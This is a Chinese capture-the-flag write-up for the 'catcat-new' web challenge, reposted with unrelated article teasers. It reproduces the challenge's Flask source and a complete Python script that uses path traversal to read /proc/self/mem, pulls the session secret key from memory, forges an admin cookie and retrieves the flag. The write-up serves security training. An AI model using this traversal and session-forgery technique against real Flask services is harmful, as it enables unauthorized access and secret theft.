131,【2】 攻防世界 catcat-new

进入靶场

🐱

点击图片时发现url处很可疑

想到文件读取

../app.py

# 导入 os 模块,用于与操作系统进行交互,例如文件操作、路径操作等
import os
# 导入 uuid 模块,用于生成通用唯一识别码,常用于生成随机的密钥
import uuid
# 从 flask 模块中导入 Flask 类、request 对象、session 对象、render_template 函数和 Markup 类
# Flask 类用于创建 Flask 应用实例
# request 对象用于获取客户端的请求信息
# session 对象用于管理用户会话
# render_template 函数用于渲染 HTML 模板
# Markup 类用于处理 HTML 标记
from flask import Flask, request, session, render_template, Markup
# 从 cat 模块中导入 cat 函数,该函数可能用于读取文件内容
from cat import cat# 初始化一个空字符串,用于存储从文件中读取的标志信息
flag = ""# 创建一个 Flask 应用实例
# __name__ 是 Python 中的一个内置变量,表示当前模块的名称
# static_url_path='/' 表示静态文件的 URL 前缀为根路径
# static_folder='static' 表示静态文件存储在 'static' 文件夹中
app = Flask(__name__,static_url_path='/',static_folder='static'
)# 为应用设置一个随机生成的密钥,用于加密会话数据
# str(uuid.uuid4()).replace("-", "") 生成一个随机的 UUID 并去除其中的连字符
# "*abcdefgh" 是自定义的后缀,增加密钥的复杂度
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"# 检查系统中是否存在 '/flag' 文件
if os.path.isfile("/flag"):# 如果文件存在,使用 cat 函数读取文件内容并赋值给 flag 变量flag = cat("/flag")# 读取完成后,删除 '/flag' 文件,确保文件内容不会被再次读取os.remove("/flag")# 定义一个路由,当客户端访问根路径('/')时,执行 index 函数
@app.route('/', methods=['GET'])
def index():# 获取 './details/' 文件夹下的所有文件名detailtxt = os.listdir('./details/')# 初始化一个空列表,用于存储处理后的文件名cats_list = []# 遍历 './details/' 文件夹下的所有文件名for i in detailtxt:# 截取文件名中 '.' 之前的部分,并添加到 cats_list 列表中cats_list.append(i[:i.index('.')])# 渲染 'index.html' 模板,并将 cats_list 和 cat 函数传递给模板return render_template("index.html", cats_list=cats_list, cat=cat)# 定义一个路由,当客户端访问 '/info' 路径时,执行 info 函数
# 支持 GET 和 POST 请求方法
@app.route('/info', methods=["GET", 'POST'])
def info():# 从请求的查询参数中获取 'file' 参数的值,并拼接成文件的完整路径filename = "./details/" + request.args.get('file', "")# 从请求的查询参数中获取 'start' 参数的值,如果不存在则默认为 '0'start = request.args.get('start', "0")# 从请求的查询参数中获取 'end' 参数的值,如果不存在则默认为 '0'end = request.args.get('end', "0")# 从请求的查询参数中获取 'file' 参数的值,并截取 '.' 之前的部分作为文件名name = request.args.get('file', "")[:request.args.get('file', "").index('.')]# 渲染 'detail.html' 模板,并将文件名和文件内容传递给模板return render_template("detail.html", catname=name, info=cat(filename, start, end))# 定义一个路由,当客户端访问 '/admin' 路径时,执行 admin_can_list_root 函数
@app.route('/admin', methods=["GET"])
def admin_can_list_root():# 检查会话中 'admin' 键的值是否为 1if session.get('admin') == 1:# 如果是,则返回存储的标志信息return flagelse:# 如果不是,则将会话中 'admin' 键的值设置为 0session['admin'] = 0# 并返回 "NoNoNo" 提示信息return "NoNoNo"# 当该脚本作为主程序运行时,启动 Flask 应用
if __name__ == '__main__':# 应用监听所有可用的网络接口app.run(host='0.0.0.0',# 关闭调试模式,避免在生产环境中泄露敏感信息debug=False,# 应用监听的端口号为 5637port=5637)

 按照要求用脚本爆破

【愚公系列】2023年05月 攻防世界-Web(catcat-new)-CSDN博客

# 声明文件编码为 UTF-8,确保可以正确处理包含非 ASCII 字符的文本
# coding=utf-8
#----------------------------------
###################################
# 代码编辑者信息,表明代码由 lx56 在 blog.lxscloud.top 编辑
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
# 导入 requests 库,用于发送 HTTP 请求
import requests
# 导入 re 库,用于进行正则表达式匹配
import re
# 导入 ast 库,用于将字符串形式的 Python 数据结构转换为实际的数据结构
# 导入 sys 库,用于获取 Python 解释器的相关信息
import ast, sys
# 从 abc 模块中导入 ABC 类,用于创建抽象基类
from abc import ABC
# 从 flask.sessions 模块中导入 SecureCookieSessionInterface 类,用于处理 Flask 会话的签名和序列化
from flask.sessions import SecureCookieSessionInterface# 目标网站的 URL
url = "http://61.147.171.105:51337/"# 此程序只能运行于 Python 3 以上版本
# sys.version_info[0] 表示 Python 主版本号
if sys.version_info[0] < 3:  # < 3.0# 如果 Python 版本小于 3,抛出异常提示必须使用至少 Python 3raise Exception('Must be using at least Python 3')#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
# 定义一个 MockApp 类,用于模拟 Flask 应用
class MockApp(object):def __init__(self, secret_key):# 初始化方法,接收一个 secret_key 参数并赋值给实例属性self.secret_key = secret_key# 定义一个抽象基类 FSCM,用于封装 Flask 会话编码的功能
class FSCM(ABC):# 定义一个类方法 encode,用于编码 Flask 会话 cookiedef encode(secret_key, session_cookie_structure):# Encode a Flask session cookietry:# 创建一个 MockApp 实例,传入 secret_keyapp = MockApp(secret_key)# 将字符串形式的会话结构转换为字典session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))# 创建 SecureCookieSessionInterface 实例si = SecureCookieSessionInterface()# 获取用于签名和序列化会话的序列化器s = si.get_signing_serializer(app)# 对会话结构进行序列化并返回return s.dumps(session_cookie_structure)except Exception as e:# 如果出现异常,返回错误信息return "[Encoding error] {}".format(e)# 抛出异常raise e# 初始化 secret key 为空字符串
s_key = ""
# 定义路径绕过字符串,用于构造请求路径
bypass = "../.."
# 发送 GET 请求到 info 路由,尝试读取 /proc/self/maps 文件
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
# 将响应文本按换行符分割成列表
map_list = map_list.text.split("\\n")
# 遍历列表中的每一行
for i in map_list:# 使用正则表达式匹配具有读写权限的内存地址范围map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:# 将匹配到的起始地址转换为十六进制整数start = int(map_addr.group(1), 16)# 将匹配到的结束地址转换为十六进制整数end = int(map_addr.group(2), 16)# 打印找到的具有读写权限的地址范围print("Found rw addr:", start, "-", end)# 发送 GET 请求到 info 路由,读取 /proc/self/mem 文件的指定范围res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")# 检查响应文本中是否包含特定的字符串 "*abcdefgh"if "*abcdefgh" in res.text:# 使用正则表达式查找符合特定格式的 secret keysecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:# 打印找到的 secret keyprint("Secret Key:", secret_key[0])# 将找到的 secret key 赋值给 s_key 变量s_key = secret_key[0]# 找到 secret key 后跳出循环break# 定义会话数据,将 admin 的值设置为 1
data = '{"admin":1}'
# 构造包含伪造会话 cookie 的请求头
headers = {"Cookie": "session=" + FSCM.encode(s_key, data)
}
# 尝试发送 GET 请求到 admin 路由,携带伪造的会话 cookie
try:flag = requests.get(url + "admin", headers=headers)# 打印获取到的 flag 信息print("Flag is", flag.text)
except:# 如果出现异常,打印错误提示信息print("Something error")

 得到flag

catctf{Catch_the_c4t_HaHa}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/16587.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NO.12十六届蓝桥杯备战|关系操作符|操作符连用|浮点数比较|练习2道(C++)

关系操作符 关系操作符介绍 ⽤于⽐较的表达式&#xff0c;称为“关系表达式”&#xff08;relational expression&#xff09;&#xff0c;⾥⾯使⽤的运算符就称为“关 系运算符”&#xff08;relational operator&#xff09;&#xff0c;主要有下⾯6个。 运算符描述>⼤…

.NET Web-静态文件访问目录浏览

一、Web根目录访问 创建wwwroot文件夹app.UseStaticFiles(); // 启⽤静态⽂件中间件url/路径 进行访问 二、Web根目录之外的文件 app.UseStaticFiles(new StaticFileOptions {FileProvider new PhysicalFileProvider(Path.Combine(builder.Environment.ContentRootPath,&qu…

【漏洞复现】Casbin get-users 账号密码泄漏漏洞

免责声明 请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;作者不为此承担任何责任。工具来自网络&#xff0c;安全性自测&#xff0c;如有侵权请联系删除。…

PPDock:复旦大学团队研发的蛋白质-配体“盲对接“技术

PPDock: Pocket Prediction-Based Protein−Ligand Blind Docking 发表于Journal of Chemical Information and Modeling&#xff0c;第一作者为 Jie Du&#xff0c;通讯作者为 Manning Wang&#xff0c;研究团队来自复旦大学。该研究提出一种新的基于口袋预测的蛋白质 - 配体盲…

中间件-安装Minio-集成使用(ubantu-docker)

目录 1、安装docer 2、运行以下命令拉取MinIO的Docker镜像 3、检查当前所有Docker下载的镜像 4、创建目录 5、创建Minio容器并运行 6、SDK操作 FileUploader.java 1、安装docer 参考这篇&#xff1a;Linux安装Docker 2、运行以下命令拉取MinIO的Docker镜像 docker pull…

使用 Notepad++ 编辑显示 MarkDown

Notepad 是一款免费的开源文本编辑器&#xff0c;专为 Windows 用户设计。它是替代记事本&#xff08;Notepad&#xff09;的最佳选择之一&#xff0c;因为它功能强大且轻量级。Notepad 支持多种编程语言和文件格式&#xff0c;并可以通过插件扩展其功能。 Notepad 是一款功能…

Java 大视界 -- 区块链赋能 Java 大数据:数据可信与价值流转(84)

&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…

【Android开发】Android Studio汉化

前言 该插件是官方支持插件&#xff0c;未对任何软件进行修改和破解 Android Studio 是基于 IntelliJ IDEA 社区版开发的集成开发环境&#xff08;IDE&#xff09;&#xff0c;专门用于Android应用程序的开发。以下是为什么 Android Studio 能使用 IntelliJ IDEA 插件的原因&am…

七、I2C通信读取LM75B温度

7.1 概述 I2C&#xff08;Inter-Integrated Circuit&#xff09;是一种同步、多主从、串行通信协议&#xff0c;由飞利浦公司开发&#xff0c;主要用于短距离通信&#xff0c;尤其在集成电路之间。 7.1.1 主要特点 两线制&#xff1a;仅需SDA&#xff08;数据线&#xff09;…

CSS 小技巧 —— CSS 实现 Tooltip 功能-鼠标 hover 之后出现弹层

CSS 小技巧 —— CSS 实现 Tooltip 功能-鼠标 hover 之后出现弹层 1. 两个元素实现 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><title>纯 CSS 实现 Tooltip 功能-鼠标 hover 之后出现弹层</titl…

微信小程序医院挂号系统

第3章 系统设计 3.1系统体系结构 系统的体系结构非常重要&#xff0c;往往决定了系统的质量和生命周期。针对不同的系统可以采用不同的系统体系结构。本系统为微信小程序医院挂号系统&#xff0c;属于开放式的平台&#xff0c;所以在管理端体系结构中采用B/s。B/s结构抛弃了固…

开源堡垒机 JumpServer 社区版实战教程:一步步构建企业安全运维环境

文章目录 开源堡垒机 JumpServer 社区版实战教程&#xff1a;一步步构建企业安全运维环境一、访问JumpServer1.1 登录1.2 功能模块1.3 系统设置1.3.1 基本设置1.3.2 邮件设置 二、用户管理2.1 场景2.2 创建用户2.3 用户登录密码重置 三、资产管理3.1 准备工作3.2 登录控制台3.3…

小红书八股面经一份(JAVA开发)

1. zmysql索引结构 mysql索引底层采用的是b树的结构&#xff0c;一开始mysql的索引采用的是b树的结构&#xff0c;当数据量达到一定程度的时候&#xff0c;b树存在深度过大的问题&#xff0c;那么磁盘io次数就会飞速上升&#xff0c;导致查询效率慢。b树就很好的解决了这个问题…

redis 缓存击穿问题与解决方案

前言1. 什么是缓存击穿?2. 如何解决缓存击穿?怎么做?方案1: 定时刷新方案2: 自动续期方案3: 定时续期 如何选? 前言 当我们使用redis做缓存的时候,查询流程一般是先查询redis,如果redis未命中,再查询MySQL,将MySQL查询的数据同步到redis(回源),最后返回数据 流程图 为什…

路由过滤方法与常用工具

引言 在前面我们已经学习了路由引入&#xff0c;接下来我们就更进一步来学习路由过滤 前一篇文章&#xff1a;重发布&#xff1a;路由引入&#xff08;点击即可&#xff09; 路由过滤 定义&#xff1a;路由器在发布或者接收消息时&#xff0c;可能需要对路由信息进行过滤。 作用…

网络分析工具—WireShark的安装及使用

Wireshark 是一个广泛使用的网络协议分析工具&#xff0c;常被网络管理员、开发人员和安全专家用来捕获和分析网络数据包。它支持多种网络协议&#xff0c;能够帮助用户深入理解网络流量、诊断网络问题以及进行安全分析。 Wireshark 的主要功能 数据包捕获与分析&#xff1a; …

anolis os 8.9安装jenkins

一、系统版本 # cat /etc/anolis-release Anolis OS release 8.9 二、安装 # dnf install -y epel-release # wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo # rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.…

Java 进阶day14XML Dom4j 工厂模式 Base64

目录 知识点1、XML 概念XML约束 知识点2、XML解析 Dom4j&#xff08;Dom for java&#xff09;XPath 知识点3、工厂模式知识点4、Base64 知识点1、XML 概念 XML的全称为&#xff08;eXtensible Markup Language&#xff09;&#xff0c;是一种可扩展的标记语言。 XML的作用…

软件测试面试题及答案解析,2025最新版

1、什么是兼容性测试?兼容性测试侧重哪些方面? 参考答案: 兼容测试主要是检查软件在不同的硬件平台、软件平台上是否可以正常的运行&#xff0c;即是通常说的软件的可移植性。 兼容的类型&#xff0c;如果细分的话&#xff0c;有平台的兼容&#xff0c;网络兼容&#xff0…

【云安全】云原生-K8S- kubeconfig 文件泄露

什么是 kubeconfig 文件&#xff1f; kubeconfig 文件是 Kubernetes 的配置文件&#xff0c;用于存储集群的访问凭证、API Server 的地址和认证信息&#xff0c;允许用户和 kubectl 等工具与 Kubernetes 集群进行交互。它通常包含多个集群的配置&#xff0c;支持通过上下文&am…